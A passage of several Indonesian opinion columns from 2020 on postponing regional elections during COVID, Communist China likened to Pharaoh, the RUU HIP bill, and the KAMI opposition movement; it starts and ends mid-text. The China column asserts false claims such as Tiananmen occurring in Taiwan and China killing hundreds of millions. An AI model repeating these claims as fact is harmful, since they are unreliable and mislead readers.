Malah bisa makin bertambah. Jika masih bersikukuh Pilkada tetap diselenggarakan. Maka harus ada jaminan dalam menekan segala kemungkinan penyebaran corona yang akan terjadi. Kita hanya berandai-andai saja, bahwa solusi yang ditawarkan penyelenggara adalah pilkada dilakukan secara daring dalam bentuk vote. Sudah tentu ini tidaklah efektif dan efesien. Dana Pilkada Untuk Pendidikan Dalam melaksanakan pilkada, tentunya negara harus mengeluarkan fundi-fundi rupiah yang tidak sedikit. Terhitung uang negara Rp 9 triliun lebih yang harus dikeluarkan untuk membiayai pilkada 2020. Anggaran sudah dibekukkan dan dipastikan langsung oleh Menteri Dalam Negeri. Sedangkan secara nyata pada masa pandemi corona, negara mengalami krisis ekonomi akibat anjloknya perekonomian. Negara terlihat kesulitan keuangan. Untuk membayar Alat Pelindung Diri (APD) kepada perusaahan tekstil yang memproduksi saja, banyak yang belum dibayat oleh pemerintah. Negara kesulitan keuangan itu terjadi pada saat Pilkada 2020 Desember nanti. Hal ini dijelaskan Menteri Keuangan Sri Mulyani dalam town hall meeting tahun 2020 pada tanggal 19 juni lalu. Beliau Menkeu mengajak seluruh jajaran Kementrian Keuangan untuk membicarakan peran penting kementeriannya dalam menjaga pemulihan ekonomi saat terjadinya pandemi corona. Terkait dengan alokasi dana pilkada Rp. 9 triliun yang sudah dibekukan tersebut, ada baiknya dialihkan untuk penanganan corona. Memang sudah terlalu banyak kebijakan yang dibuat dalam upaya penanggulan virus yang menjadi masalah global ini. Namun sampai hari ini, masalah pendemi corona masih tetap menjadi momok yang menakutkan serta mengancam kestabilan negara. Menghadapi kenyataan ini, tentu pengalokasian dana pun harus untuk menyelesaikan masalah tersebut. Pastinya, harus mendukung tujuan bernegara. Tujuan bernegara itu dapat kita baca di pembukaan UUD 1945 alinea keempat. Salah satu tujuan yang wajib mendapat perhatian khusus saat ini adalah mencerdaskan kehidupan bangsa. Dalam mencerdaskan kehidupan bangsa, negara memang masih dihadapkan pada berbagai tantangan serius terutama dalam upaya peningkatan kinerja yang mencakup pemeratan dan perluasan akses. Peningkatan mutu, relevansi dan daya saing. Penataan tata kelolah akuntabilitas dan citra publik, serta peningkatan pembiayaan. Kawal Tujuan Bernegara Dihadapkan lagi dengan masalah corona yang mempengaruhi dunia pendidikan. Bahkan dampak itu membuat kegiatan belajar dirumahkan. Padahal disruftif inovasi juga terjadi dan mempengaruhi wajah dunia pendidikan. Mau tidak mau justru mengubah paradigma pendidikan yang ada. Sistem lama seperti tatap muka diganti dengan sistem siber (cyber system) seperti belajar daring yang memanfaatkan teknologi digital dalam mengelolah dunia pendidikan saat ini. Lalu maraklah penerapan pembelajaran online (online learning). Hari ini sekitar 45 juta peserta didik serta 7,5 juta mahasiswa harus dituntut untuk melaksanakan kegiatan online learning tersebut. Banyak kendala yang ditemui. Dimulai dari tidak memadainya sarana dan prasarana penunjang kegiatan belajar. Mengajar yang tidak menjamin kesehatan serta keselamatan siswa dan guru. Soal konektivitas dan aksesibilitas flatform pembelajaran online yang tidak maksimal, serta kendala lainnya. Semua kendala tersebut paling banyak ditemui terkhususnya didaerah 3T. Padahal sudah diamanatkan dalam UUD 1945 pasal 31 bahwa negara telah menjamin setiap warganya agar bisa mendapatkan pendidikan yang layak. Lalu bagaimana nasib masa depan puluhan juta anak Indonesia? Jika untuk belajar saja mendapatkan sejumlah kesulitan seperti ini. Negara harus menyelamatkan mereka. Pilkada masih bisa ditunda sampai tahun depan. Sampai pandemi corona benar-benar telah berhenti. Sampai dinyatakan aman bagi masyareakat untuk datang ke tempat-tempat pemilihan. Kalau masyarakat berkumpul, dipastikan tidak lagi ada gangguan penyebaran corona. Akan lebih bermanfaat jika anggaran Pilkada sebesar Rp. 9 triliun tersebut dipakai untuk menjawab kebutuhan pendidikan anak Indonesia. Dingatkan sekali lagi, bahwa mencerdaskan kehidupan bangsa adalah tujuan berbangsa dan bernegara. Tujuan mulia ini harus dikawal dengan ketat. Dipastikan kegiatan mencerdaskan kehidupan bangsa itu terlaksana sesuai cita-cita dan keinginan para pendiri bangsa. Menjadi kewajiban semua anak bangsa untuk mengawalnya. Penulis adalah Pemerhati Masalah Sosial Kemasyarakatan.

Firaun Dan Komunis China

by Anton Permana Jakarta FNN – Jum’at (28/08). Kalau berbicara kemajuan, Firaun adalah raja yang terkenal dengan pembangunan megah di zamannya. Kalau berbicara keperkasaan, Firaun juga dikenal sebagai ahli militer, dan punya pasukan kuat. Firaun tak pernah sakit semasa hidupnya. Namun, apakah itu semua menjadi tolak ukur kemajuan dan kehebatan seorang pemimpin ? Yaitu, prestasi bermahzab material, fisik, plus bumbu-bumbu mistis para tukang sihir dalam memanipulasi rakyat yang awam dengan pengaruh sihirnya? Tapi tahukah kita, bagaimana Firaun membunuhi setiap anak lelaki yang lahir hidup-hidup. Tak peduli anak siapa. Bayangkan kalau yang dibunuh itu adalah anak atau ponakan cucu kita. Bayi mungil tak berdosa harus disembelih sesuai titah sang Firaun. Tapi tahukah kita, bagaimana Firaun menjustifikasi dirinya adalah Tuhan yang wajib disembah dan dipatuhi? Siapa yang menentang, akan di bunuh berserta keluarganya, atau minimal di penjara sebagai pekerja paksa. Artinya, apa guna sebuah kemajuan, dan kemegahan yang dibangun dari puing tulang belulang rakyatnya. Kemegahan tanpa kemanusian, tanpa belas kasih. Mengorbankan darah dan air mata rakyatnya. Bagi para pemuja kehidupan matrealistis dan bermental budak, tentu hal ini tidak masalah. Karena dalam otak dan pikirannya hanyalah kehidupan fisik dan bangga menjadi budak hasil cuci otak para tukang sihir. Begitu juga dengan fenomena China komunis hari ini. Ada seorang pejabat negeri ini yang begitu mengelu-elukan kemajuan China secara berbusa-busa. Ibarat seorang "marketing brand ambassador" yang meng-endorse sebuah produk shampo. Yang menyatakan bahwa komunisme dapat menekan kemiskinan. Komunisne dapat menyatukan 1,4 milyar penduduk China komunis ? Tapi sayangnya, pernyataan tersebut hanya berupa sensasional yang menjustifikasi sebuah pendapat dari satu sudut "fisik" semata. Tanpa argumentasi dan indikator ilmiah lainnya. Misalnya, bagaimana perasaan dan tanggapan masyarakatnya terhadap negara? Karena rakyatlah yang paling berhak menyatakan baik atau buruknya perlakuan negara. Kita tentu semua tidak menafikkan atas pencapaian komunis Tiongkok hari ini. Dari sebuah negara miskin yang raksasa, tiba-tiba muncul dengan berbagai capaian prestasi. Sampai akhirnya menjadi kekuatan ekonomi nomor dua di dunia. Tetapi apakah cukup dengan pencapaian fisik itu semata lalu kita "latah" berdecak kagum terpesona? Seperti tulisan pembuka sebelumnya, Firaun juga punya prestasi kemajuan yang fantastis di eranya. Tetapi kemajuan itu dicapai tanpa memandang rasa kemanusian? Bahkan sangat berlebihan dengan menyatakan dirinya adalah Tuhan ! Apa Bedanya Dengan Tiongkok? Perlu dicatat. Kemajuan Tiongkok hari ini bukan karena komunisme. Tetapi oleh kapitalisme yang diadopsi Tiongkok melalui perselingkuhan ekonomi dan politik dengan kelompok elit globalis dunia. Baik itu yang bersama Israel maupun elit Amerika. Ini sudah rahasia umum. Cuma kelebihan Tiongkok adalah berani menerapkan strategi "one state two system" dalam negerinya. Bila ke dalam, Tiongkok menerapkan komunis (Naga). Sedangkan keluar Tiongkok menerapkan kapitalisme (Panda). Dengan strategi dua mata uang (Remimbee dan Yuan), Tiongkok memacu pembangunan industri dan explorasi alam murah-meriah. Kenapa bisa murah ? Sejatinya dengan strategi dua mata uang, China membangun industri dan infrastruktur negaranya "nol". Hanya cetak uang untuk biaya pembangunan. Setelah itu, sistem komunis ampuh memaksa rakyatnya untuk rela menjadi kuli negara berbiaya murah. Kombinasi inilah yang akhirnya segala produk-produk China berbiaya murah dan memukul produk negara lain. Uangnya dari cetak sendiri, tenaga kerjanya dari "perbudakan" rakyatnya sendiri. Lambat laun, kondisi ini akhirnya membuat Amerika dan sekutunya berinvestasi di China untuk menekan Cost produksi dan mendapatkan keuntungan berlipat. Saat inilah, baru Amerika dan sekutunya sadar, bahwasanya ada "hidden agenda" China dalam ambisinya menjadi penguasa baru dunia dengan memanfaatkan tenaga dan keunggulan energi lawan ibarat jurus Taichi dalam serial film kungfu. Barat yang sebelumnya fokus menjadikan Islam sebagai musuh utama, akhirnya lalai dan lengah terhadap China komunis yang sekarang tiba-tiba sudah menjadi naga raksasa. Hanya saja kemajuan China itu bukan karena komunisme, tapi karena kapitalisme. Persatuan China atas nama komunis pun adalah persatuan semu dan sepihak hasil propaganda opini agen komunis melalui media. Bagaimana kita percaya terhadap informasi sebuah negara yang semua lini komunikasinya dikontrol negara? Tidak ada kebebasan pers? Tidak ada HAM? Dan tidak ada perimbangan informasi independen, baik secara kanal berita maupun perangkat IT-nya. Itulah negara komunis. Kita tentu melihat Hongkong, Taiwan, dan Shenzen hari ini yang gemerlap sebagai kota metropolis dengan gedung pencakar langitnya yang megah. Tahukah kita bahwa tiga kota tersebut bukan China yang bangun, tetapi Barat yang bangun dari awal. Tahukah kita bahwasanya saat ini ada 55 kota hantu di China? Kenapa dinamakan kota hantu? Karena sudah mulai ditinggal para penghuninya atas sewanya yang mahal. Padahal kota ini dibuat dari program "printing money" renimbi. Bahan bakunya dari industri murah serta upah ala komunis yang murah. Mana ada UMK (Upah Minimum Kota) atau standar KHL seperti di Indonesia. Padahal kota hantu ini adalah juga basis kolateral China kepada pemodal. Coba kalau di negara demokrasi seperti ini? Pasti sudah ribut dan di penjara para pejabatnya. Di China, yang penting bagi pekerjanya ada tempat tidur, dapat makan, rakyat yang bekerja dapat upah seadanya dan wajib patuh pada aturan negara. Melawan ? Langsung hilang tengah malam. Lalu komunisme dapat menyatukan China. Ini jelas pernyataan berlebihan dengan aura menjilat yang kentara sekali untuk cari muka terhadap China. Mana ada persatuan kalau di Uyghur saja rakyatnya ditindas sedemikian rupa. Lihat pula penanganan terhadap demonstrasi besar-besaran saat di Hongkong. Belum lagi kalau kita ingat tragedi Tianamen di Taiwan. Entah sudah berapa puluh dan ratus juta China membunuhi rakyatnya tanpa rasa kemanusiaan. Namun itulah ideologi komunis. Tak mengenal Tuhan, tak mengenal HAM, apalagi hanya belas kasih. Yang penting bagi mereka tujuan politiknya tercapai. Lalu adakah sama rasa itu terjadi ? Itu hanya kamuflase semata bahwa negara akan menanggung hajad hidup rakyatnya. Yang benar adalah, negara hanya dinikmati oleh elit partai politik semata dan militer. Rakyatnya hidup dalam sebuah doktrin komunisme yang sangat kuat dan ketat. Dimana rakyat wajib tunduk, patuh kepada negara. Mulai dari lahir, sekolah, cara hidup, cara makan, sampai untuk cita-cita pun semua hanya untuk negara. Tuhan mereka adalah negara. Lalu kondisi seperti inikah yang mau diadopsi Indonesia ? Itukah yang dimaksud oleh pejabat endorser komunis tersebut ? China hari ini adalah hasil revolusi tentara komunis dari kelompok china demokratik yang akhirnya lari dan mendirikan Taiwan. Jadi negara Tiongkok hari ini adalah hasil revolusi komunis. Jadi wajar jadi negara komunis. Berbeda dengan Indonesia. Negara ini lahir dari perjuangan para ulama pejuang kemerdekaan. Dari penjajahan Belanda dan Jepang. Bangsa Indonesia lahir dari kesepakatan anak bangsa yang di abadikan dalam Sumpah Pemuda 1928. Lalu diproklamirkan 17 Agustus 1945, dan pada tanggal 18 Agustus dibacakanlah UUD 1945 dan Pancasila sebagai dasar dan konstitusi negara bernama Indonesia. Bangsa Indonesia sangat kaya akan kultur budaya dan khasanah tradisi daerah yang beragam. Dimana nilai KeTuhanan Yang Maha Esa sebagai nilai utama kita dalam bernegara. Dan komunisme sudah meninggalkan sejarah kelam bagi bangsa ini. Sama dengan China, komunisme di Indonesia juga telah bermandikan darah dan memakan korban nyawa ketika PKI masih ada. Memaksakan kembali ajaran komunisme ke Indonesia sama saja memantik perang saudara di Indonesia. Karena sudah pasti ummat Islam dan kaum nasionalis yang masih setia pada Pancasila akan melakukan perlawanan keras. Karena kerusakan yang terjadi di Indonesia hari ini adalah salah satu hasil infiltrasi dan hegemoni China terhadap pemerintah kita. Mana ada lagi kedaulatan negara kita hari ini? Hampir semua lini di dikte dan manut pada perintah China. Ibarat negeri ini bagaikan provinsi dari China. Sebagai bangsa yang beradab serta berKeTuhanan Yang Maha Esa, seharusnya kita tidak mudah terpesona dengan kemajuan sebuah negara seperti China. Karena kemajuan dalam konsepsi negara Indonesia itu tidak kemajuan fisik semata. Tapi bagaimana memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan ikut aktif dalam perdamaian dunia. Dimana tujuannya itu adalah mewujudkan masyarakat yang berdaulat, adil dan makmur. Buat apa gedung megah, jalan tol pangjang, bandara besar? Tetapi kalau semua dibuat dari hutang berbunga besar dan juga tidak punya bangsa kita. Buat apa kata maju, tapi dibaliknya ada penindasan, pelanggaran HAM, ketidakadilan hukum, serta tanpa ada kebebasan dalam kehidupan. Jadi hanya mereka yang bermental budak dan jongos saja yang terpesona oleh kemajuan komunis China. Mereka yang mengabaikan nilai moralitas, nilai keTuhanan, dan nilai spritualitas, nasionalisme patriotisme dalam kehidupan berbangsa dan bernegara. Firauan dan komunis China hampir sama saja. Yaitu mengejar kemajuan dunia dengan mengabaikan nilai Illahiah, serta menghalalkan segala cara untuk mencapai tujuannya. Kemajuan pun hanyalah tipu daya hasil "sulap" para tukang sihir. Kalau zaman Firaun ada tukang sihir untuk menakuti dan mengelabui rakyatnya. China hari ini menggunakan sihir media massa untuk mengelabui masyarakat dunia. Tapi yakinlah, seperti Firaun, kemegahan China hari ini akan hancur lebur. Karena mereka telah melampaui batas. Mau buktinya ? Semoga kita sama-sama punya masa dan waktunya sebagai saksi dari kehancuran China. Salam Indonesia Jaya ! Penulis adalah Pemerhati Politik, Militer dan Sosil Budaya.

Masirah Al Kubra Luruskan Kesesatan Penyelenggara Negara

by M. Rizal Fadillah Jakarta FNN – Jum’at (28/08). Agak lama umat menunggu Majelis Ulama Indonesia (MUI) untuk mengeluarkan Maklumat kembali yang berisi tahzir (peringatan). MUI yang menolak dengan tegas tanpa kompromi terhadap Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) dan RUU Badan Pembinaan Ideologi Pancasila (BPIP) karena substansi materi keduanya dinilai sama. Memberi ruang untuk berkembangnya neo PKI dan faham komunisme. Merujuk pada hasil Kongres Umat Islam 2020 di Pangkal Pinang , yang meminta kepada Presiden agar BPIP segera dibubarkan. Pernyataan tegas MUI yang sudah disiapkan itu bagus dan juga menggigit, terutama sikap tegas bahwa Kepres No 24 tahun 2016 tentang hari lahir Pancasila agar segera dicabut. Kepres ini menjadi sumber penyelewengan atas tafsir Pancasila. Hari lahir Pancasila itu bukan pada tanggal 1 Juni 1945, tetapi 18 Agustus 1945. Karenanya Pemerintah sepantasnya mengeluarkan Kepres baru yang menetapkan hari lahir Pancasila adalah 18 Agustus 1945. Pancasilan tanggal 1 Juni 1945 adalah Trisila dan Ekasila, serta Ketuhanan yang berkebudayaan. Bukan Ketunanan Yang Maha Esa seperti Pancasila 18 Agustus 1945. Bagi MUI yang sejak awal menegaskan penolakan RUU HIP, yang kemudian berubah menjadi RUU BPIP, itu memenuhi dua kewajiban. Pertama, kewajiban syar'i . Kedua, kewajiban kebangsaan dalam rangka penegakan kesepakatan. Ini artinya baik RUU HIP yang menjadi inisiatif DPR dan RUU BPIP yang menjadi usulan Pemerintah adalah bukti dan wujud penghianatan dari kesepakatan bangsa Indonesia. MUI sebagai lokomotif perjuangan umat Islam Indonesia, tentu sangat merasakan kegelisahan umat. Sekarang umat Islam merasa bahaya terhadap bangsa dan negara andai kedua RUU tersebut ditetapkan sebagai Undang Undang. Karenanya sedemikian serius MUI mewanti-wanti, bahkan sangat mungkin mengancam atas pengabaiannya. Bila sikap Pemerintah dan DPR tetap bersikukuh mempertahankan kedua RUU tersebut, maka tidak ada jalan lain, selain melakukan al masirah al kubra (parade akbar) sebagai jalan konstitusional untuk meluruskan kesesatan yang dilakukan para penyelenggara negara. Demikian sejak dini dikemukakan MUI. Bahkan telah menyebut persiapan panglima segala. Model "warning" yang seperti ini semestinya menjadi perhatian, baik Pemerintah maupun DPR, agar segera mengoreksi diri. Membuat keputusan untuk tidak melanjutkan pembahasan terhadap RUU HIP dan RUU BPIP. Bahkan sebaiknya batalkan dan cabut segera dari Program Legislasi nasional (Prolegnas) DPR tahun 2020 . Juga segera laksanakan pembubaran BPIP. Jika peringatan MUI dikeluarkan, maka hal itu merupakan peringatan keagamaan. Bukan peringatan politik atau lainnya. Karenanya pernyataan bahwa al masirah al kubra adalah "jalan untuk meluruskan kesesatan" menjadi peringatan yang bermuatan syar'i. Umat Islam tentu saja bersiap-siap untuk merespon secara konstruktif seruan MUI tersebut. Tentu dengan risiko dan semangat berkorban apapun untuk agama yang diyakini kebenarannya. Bangsa dan negara harus diselamatkan dari kemungkinan rencana penyelewengan terhadap ideologi Pancasila, yang dilakukan secara terselubung. Penulis adalah Pemerhati Politik dan Keagamaan.

Kenapa Pemerintah Beroposisi Terhadap KAMI?

by Tony Rosyid Jakarta FNN – Jum’at (28/08). Ketika Koalisi Aksi Menyelamatkan Indonesia KAMI) muncul dengan maklumatnya, publik jadi ramai. Umumnya masyarakat positif menyambutnya. Bahkan cukup rakyat antusias. Ada dua indikator. Pertama, berita media. Sangat masif pra dan pasca deklarasi KAMI. Kedua, berdirinya sejumlah KAMI di daerah. Meski begitu, ada juga yang kontra. Terutama dari sejumlah elit dan pendukung pemerintah. Mereka nampak gerah dan merasa nggak nyaman. Tentu saja mereka punya alasan mengapa gerak dan nggak nyaman. Soal rasional tidaknya alasan ketidaknyamanan itu, biar rakyat yang akan menilai. Kegerahan itu terlihat dengan munculnya sejumlah statemen negatif. Bahkan juga muncul tandingan terhadap KAMI. Lahir komunitas yang mengatasnamakan KITA, KALIAN atau KAMI dengan singkatan yang berbeda-beda. Karena sifatnya reaktif, apalagi hanya sebagai tandingan, biasanya nggak lama. Muncul, lalu segera tenggelam. Gerakan tanpa militansi dan orientasi perjuangan biasanya nggak bertahan lama. Apalagi jika bergantung biayanya. Beberapa tokoh membuat tudingan yang cenderung menyudutkan KAMI. Mereka menganggap KAMI adalah kumpulan barisan sakit hati. Nggak siap menerima kekalahan. Pingin jadi presiden, dan makar. Tudingannya macam-macam. Anehnya, mereka yang melakukan kritik terhadap KAMI umumnya tidak bicara substansi. Lima hal yang menjadi bagian dari maklumat KAMI terkait persoalan ekonomi, politik, sosial budaya, hukum dan HAM serta Sumber Daya Alam, nyaris tak disinggung. Yang disorot justru organisasi dan para tokohnya dengan berbagai stigma dan tuduhan yang nggak perlu. Semacam tuduhan yang kekanak-kanakan. Sebaiknya perlu baca dulu maklumat KAMI. Pahami, lalu bahas dan diskusikan isi maklumatnya. Kalau sudah baca, lalu sengaja mengabaikan, karena dalam maklumat tersebut ada kebenaran data. Makanya tentu ini bukan saja nggak fair, tetapi juga gak mendidik bagi rakyat. Mestinya, para pengkritik KAMI membaca, lalu pelajari lebih dulu substansi dan konten maklumat KAMI. Jadikan konten itu sebagai tema diskusi. Adu data dan analisis yang jauh akan lebih konstruktif. Memberikan referensi yang baik dan dapat mencerdaskan rakyat. Tapi, jika yang disoal adalah organisasi gerakan dan para tokohnya saja. Apalagi dengan cara menyeebar fitnah, dan sibuk membuat tuduhan, maka hal ini hanya akan menjauhkan bangsa dari substansi persoalan yang sedang dihadapi. Tahu-tahu sudah krisis saja. Tahu-tahu bangkrut saja. Tahu-tahu meledak dan terjadi gejolak sosial saja. Tahu-tahu dan kemungkinan-kemungkinan itu dan inilah yang jauh lebih berbahaya untuk bangsa ini nantinya. Karena itu, gerakan seperti KAMI dan sejenisnya perlu hadir sebagai alarm. Sebelum negara ini semakin terpuruk dan terlambat untuk diatasi permasalahannya. Ada ungakapan, "orang bodoh selalu melihat siapa yang bicara. Orang pintar selalu melihat apa (konten) yang dibicarakan. Dan orang beradab selalu melihat nilai (value) di balik konten yang dibicarakan". Nah, silahkan pilih sendiri, anda mau masuk ke kelompok mana? Supaya tidak dianggap masuk yang "bodoh", maka sebaiknya semua pihak mestinya melihat maklumat KAMI sebagai tema diskusi kebangsaan hari ini. Dari sinilah rakyat belajar dan bagaimana ikut ambil peran menghadapi persoalan negaranya. Dalam konteks ini, nampaknya KAMI lebih siap untuk beradu gagasan dan data. Kesiapan itu terlihat dari kredibilitas para tokohnya yang tampil ke permukaan. Soal ekonomi, ada Said Didu, Ichsanuddin Noersy, Budhiyanto dan Didik J. Rachbini. Ekonom Rizal Ramli, kendati tak berada di struktur KAMI, tapi selalu mendukung dan satu pandangan dengan KAMI dalam analisis ekonominya. Soal Hukum, ada Refly Harun, Abdullah Hehamahua, Joko Edy, Ahmad Yani dan sejumlah advokat. Soal politik, ada Gatot Nurmantyo, Husnul Mariyah, Ubaidillah Badrun, Bachtiar Hamzah dan Tamsil Linrung. Soal Sumber Daya Alam ada Marwan Batubara yang aktif menulis tentang persoalan minerba. Soal sosial budaya, ada Din Syamsuddin, Rachmat Wahab, dan Jeje Zainuddin. Tokoh-tokoh yang jumlahnya ada 150 ini punya kapasitas di bidangnya masing-masing. Jumlah tokoh yang bergabung ke KAMI terus bertambah. Apalagi ada program KAMI berbasis profesi. Kabarnya akan lahir KAMI mahasiswa, KAMI kedokteran, KAMI advokat, KAMI purnawirawan, KAMI buruh, KAMI petani, KAMI nelayan, dan KAMI-KAMI yang lain. Jika ini terealisir, tentu akan menjadi potensi yang besar untuk berkontribusi kepada bangsa, sesuai bidang masing-masing. Pemerintah bisa manfaatkan mereka sebagai sparing partner dalam membangun gagasan dan kebijakan. Bukan sebaliknya, sibuk mencari kesalahan dan melakukan pembunuhan karakter terhadap para tokohnya. Itu prilaku picik, amatiran, kacangan, kaleng-keleng, odong-odong dan beleng-beleng. Tentu, ini tidak baik bagi proses pembelajaran politik dan demokrasi kita. Pemerintah dan DPR mestinya berterima kasih kepada para tokoh dan anak bangsa yang ikut membantu secara aktif menyelamatkan Indonesia dari krisis, terutama ekonomi, hukum dan politik. Mereka adalah orang-orang yang peduli terhadap bangsa dan negaranya. Dengan jiwa nasionalismenya, gerakan semacam KAMI inilah yang dapat mencegah terjadinya deviasi, distorsi dan disorientasi pengelolaan negara, dari nilai dasar dan cita-cita bangsa. Terutama di tengah DPR yang sedang kehilangan spiritnya untuk menjalankan tugas kontrolnya. Jangan justru sebaliknya, pemerintah malah merasa gerah dan berupaya mengganjal KAMI. Nggak lucu kalau kemudian pemerintah mangambil sikap oposisi terhadap KAMI. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Mengapa Megawati Juga Cemas Melihat KAMI?

by Asyari Usman Jakarta FNN - Kamis (27/08). Kehadiran KAMI (Koalisi Aksi Menyelamatkan Indonesia) semakin berdampak serius. Baru seminggu mendeklarasikan diri, eskalasi kecurigaan dan kecemasan berlangsung sangat kencang. Setelah dikeroyok oleh para politisi yang kehabisan ide, kemarin KAMI ‘dihajar’ oleh seorang politisi ‘heavy weight’ (kelas berat) yang ikut juga turun gunung. Giliran Megawati Soekarnoputri melibas KAMI. “Di situ kayaknya banyak banget yang kepengin jadi presiden," kata Bu Mega menyindir KAMI. Komentar seperti ini terasa ‘childish’. Kekanak-kanakan. Tak sepantasnya meluncur dari seorang politisi senior sekelas Bu Mega. Tapi, begitulah KAMI mengubah suasana psikologis para politsi. Rata-rata mereka terusik. Gerakan moral KAMI dilihat sebagai ancaman. Bagi KAMI, ucapan Mega di depan para kader seniornya, Rabu (26/8/2020), merupakan tambahan imunitas dalam menghadapi banyak lagi gempuran dari kalangan yang selama ini tak pernah ‘diganggu’ oleh gerakan moral. Selama ini, mereka bisa sesuka hati melakukan apa saja untuk kepentingan pribadi dan kelompok. Begitu KAMI muncul, semua orang yang merasa sebagai pemilik Indonesia langsung mencak-mencak. Bu Mega wajar-wajar saja mengeluarkan sindiran soal jabatan presiden. Sebab, dia pastilah sedang berpikir keras agar posisi presiden bisa, suatu hari nanti, kembali lagi ke tangan keturunan Soekarno. Bu Mega sedang berusaha agar anaknya, Puan Maharani, bisa merintis jalan menuju ke RI-1. Skenario kasar itu mudah dibaca. Tetapi tidak mudah untuk dijabarkan. Indonesia ini tidak bisa lagi dipimpin oleh seorang selebriti. Yang setiap saat hanya mengandalkan lakon-lakon populis palsu. Rakyat dan negara tidak memerlukan itu lagi. Yang sangat dibutuhkan adalah seorang pemimpin yang memiliki kapabilitas. Dan tidak cukup hanya itu. Dia harus juga berkapasitas. Indonesia sedang rusak berat di semua aspek: ekonomi, sosial, politik, dan hankam. Kerusakan itu tidak main-main. Proses rehabilitasi kerusakan memerlukan pemimpin yang visioner, karismatik, dan pantas disebut ‘ideologist’ (ideolog). Sebab, bangsa dan negara ini sedang dilanda kehancuran moral ekonomi, moral bisnis, moral politik, moral sosial, dan moral hukum. Selain itu, negara juga sedang mengalami penurunan drastis dalam sistem pertahanan dan keamanan. KAMI hadir untuk menyadarkan rakyat tentang kerusakan multi-dimensi itu. Agar rakyat tahu apa yang harus dilakukan. Mohon maaf, hari ini kita semualah yang harus menggantikan fungsi elit pemimpin yang seharusnya memberikan ‘lead’ (arah) perjalanan bangsa. Tetapi, sayangnya, kepemimpinan (leadership) itu sedang kosong. Yang banyak adalah buzzer-buzzer bayaran yang bekerja untuk meyakinkan publik bahwa negara ini dipimpin oleh orang yang hebat. KAMI melihat adanya ancaman kekacauan internal dan ekspansionisme asing yang cederung diremehkan oleh para pemimpin. Diremehkan hanya karena ketiadaan visi dan kecendekiaan mereka. Semua mereka diasyikkan oleh tuntutan dan peluang untuk menumpuk kekayaan. Tuntutan itu besar dan peluangnya juga terbuka lebar. Inilah yang mereka urus setiap hari. Mereka sadar bahwa mereka memiliki kuasa dan berbagai perangkat untuk memperturutkan keasyikan itu. Mereka membuat regulasi sesuai dengan keinginan rakus mereka. Dan itu semua didukung dan disukseskan oleh lembaga perwakilan rakyat yang seharusnya berfungsi untuk mencegah kesewenangan. Ketika KAMI hadir dan langsung mempersoalkan itu, pastilah muncul reaksi yang sumbang. Sebab, para elit di eksekutif, legislatif, yudikatif, dan bisnis merasa gerakan KAMI akan menghadang mereka. Boleh jadi, Bu Megawati melihat KAMI seperti itu. Yakni, melihat gerakan moral KAMI sebagai penghalang kerakusan. Semoga saja tidak begitu pikiran Bu Mega. Ketua Komite Eksekutif KAMI, Ahmad Yani, mengatakan prasangka Bu Mega bahwa KAMI ingin mengincar jabatan presiden adalah pikiran politik rendahan. Yani membantah itu. Harus diakui bahwa KAMI memang sangat khawatir melihat ‘leadership’ Presiden Jokowi. Sebab, kondisi morat-marit dalam pengelolaan negara saat ini seratus persen berpangkal di tangan Presiden. Tetapi, tidak berarti KAMI harus merebut posisi presiden sebagaimana disimpulkan secara sempit dan kekanak-kanakan oleh Bu Megawati. Ada kemungkinan Bu Mega belum paham betul tentang misi KAMI. Sesuai namanya, KAMI hanya ingin menyelamatkan Indonesia. Termasuklah “menyelamatkan” Presiden Jokowi agar tidak dikejar-kejar oleh sekian banyak kebijakan blunder yang dia terapkan. Jadi, KAMI tidak bermaksud membuat Bu Mega cemas sepanjang beliau juga ingin menyelamatkan bangsa dan negara. Bukan menyelamatkan rencana pribadi. Penulis adalah Wartawan Senior FNN.CO.ID

Presiden Dilarang Membual

by Dr. Margarito Kamis SH.M.Hum Jakarta FNN – Rabu (26/08). Peradaban manusia, yang di dalamnya termasuk peradaban hukum dan politik telah menulis takdirnya sendiri. Sesederhana apapun kehidupan itu, begitu takdirnya, selalu jatuh dalam kebutuhan untuk diorganisasikan. Langkah pengorganisasian itu dirangsang oleh banyak mimpi. Mimpi-mimpi itu semuanya indah. Tetapi seindah-seindahnya semua mimpi itu, tak lebih indah dari mimpi diperlukannya seorang saja sebagai pemimpin. Sekali lagi seorang saja. Bukan dua orang. Mengapa bukan dua, apalagi banyak orang? Begitu dua orang menjadi pemimpin dalam satu organisasi, maka kekacauan menjadi hasil yang pasti menyertai organisasi itu disepanjang waktu. Kekacauan itu jelas sejelas matahari mengawali sapaannya kepada dunia dari timur. Kasian Rakyat Tidak banyak yang dibicarakan tentang orang macam apa yang dapat menjadi presiden. Ini patut dikenali. Tetapi dari tidak banyak itu, terdapat dua hal hebat yang layak dipertimbangkan. Pertama, presiden harus dipilih. Kedua, presiden bukan malaikat. Dia punya kelemahan akal budinya, terlepas dari bobotnya dan siapapun orangnya. Mengandalkan “pemilihan” bukan penunjukan. Apalagi diwariskan sebagai cara menemukan seseorang menjadi presiden, diyakini sebagai cara tepat memperoleh orang yang masuk akal memegang kekuasaan menjalankan hukum. Kekuasaan inilah yang disebut kekuasaan pemerintahan. Berjualan ide. Begitu orang-orang yang berhasrat jadi presiden. Itu untuk meyakinkan masyarakat pemilih. Padahal acapkali jualan ide menjadi bualan. Tetapi dengan membual itulah dia terlihat secara transparan. Tetapi setransparan apapun, selalu ada yang disembunyikan. Selalu ada bualan dalam setiap aspeknya. Bisakah dikoreksi sesudah si kabualan itu jadi presiden? Tidak bisa. Sistem didunia ini tidak menunjuknya sebagai alasan hukum dan politik memberhentikannya. Jadi? Membuallah sehebat-hebatnya pada saat balapan capres. Bualan-mualan itu, idealnya harus dihentikan bersamaan dengan dirinya resmi menjalankan pemerintahan. Setidak-tidaknya tidak boleh lagi muncul pernyataan yang tidak memiliki pijakan fakta dan rasio. Juga tidak boleh muncul pernyataan yang satu dan lainnya saling menyangkal. Mengapa presiden harus berhenti membual dalam menjalankan pemerintahannya? Dalam kedudukanya sebagai pemegang kekuasaan pemerintahan, semua tindakan presiden memiliki nilai. Setiap katanya dinilai otoritatif. Dalam kedudukan itu, presiden juga dinilai secara politik untuk disamakan dengan kepastian. Masa depan negara, postur politik di panggung internasional, tercermin dari setiap kata-katanya. Satu saja pernyataan yang dinilai tidak masuk akal, segalanya bisa berubah. Dunia ekonomi akan bergejolak. Pasar uang dan pasar saham bisa bergelombang naik atau terjun bebas hanya 